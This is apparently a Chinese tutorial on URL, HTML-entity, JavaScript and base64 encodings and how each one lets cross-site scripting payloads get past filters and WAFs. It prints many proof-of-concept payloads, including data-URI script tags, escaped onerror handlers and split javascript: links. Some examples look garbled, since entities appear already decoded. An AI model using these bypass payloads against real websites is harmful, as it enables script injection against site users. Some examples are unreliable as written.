常用的编码
URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如“/”的URL编码为%2F
#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;
HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“<”
HTML实体编码(10进制与16进制)
例如“<” html十进制:< html十六进制:<
JavaScript编码: js提供了四种字符编码的策略
- 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
- 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
- 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
- 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
各个编码的具体利用场景
(1) base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 遇到使用base64编码的情况 大多数是这样
- <a href=“可控点”>
- <iframe src=“可控点”>
在这种情况下 如果过滤了<> ’ " javascript 的话 那么要xss可以这样写 然后利用base64编码!
将<img src=
x οnerrοr=alert(1)>整条base64编码为:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
Data协议使用方法 data:资源类型;编码类型,内容
<script>alert(1)</script>
(<img src=1 οnerrοr=alert(1)> a标签,object,iframe不支持)
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
(chrome不支持)
<iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
(chrome,firefox支持)
<a>标签的利用方式
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>
这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点
击a链接时 base64的编码就被解码还原成我们原本的
<script>alert(1)</script>然后成功弹窗!
各个编码的具体利用场景
(2) HTML实体编码(十进制和十六进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的.
如<img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074(1)”>这种可以弹窗。
\img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074`1`”>
onerror支持:html10,html16,jsunicode,不支持js8进制和js16进制
HTML十进制和十六进制编码的分号是可以去掉的。
实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行:
<img src=1
οnerrοr=
“alert('xss')”>
HTML5 新增的实体命名编码,如
: => [冒号] 
 => [换行]
如<a href=“javasc
ript:alert(1)”>click</a>
<a href=”javascript:alert(1)”>tan</a>
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href=“javasc
ript:alert(1)”>click</a>
首先html编码被还原出来 然后就成了换行 跟冒号
<a href=“javascript:alert(1)”>click</a>
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href=“javascript:alert(1)”>click</a> 代码成功执行
各个编码的具体利用场景
(3) Javascript编码
Javascript伪协议在属性值中都可以使用,
如<a href=“javascript:alert(‘xss’)”>111</a>点击111后触发弹窗。javascript中只识别几种编码:Jsunicode js8进制 js16进制
第一种情况 :
你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
eval()、setTimeout()、setInterval()
以上都是会将字符串当做js代码执行的函数!
第二种情况:
var search = “可控点”;
document.getElementById().innerHTML=search;
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ’ " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成<img src=x
οnerrοr=alert(1)>然后进行js八进制编码 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服务器端接受后 经过过滤器 没有发现可以过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!
(4) URL编码
Javascript:伪协议后面可以使用URL编码。
如:<a href=“javascript:%61lert(1)”>click me</a>可成功执行弹窗
可用img就不行:<img src=x
οnerrοr=”javascript:%61lert(1)”>
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href=“javascript:%61lert(1)”>click me</a>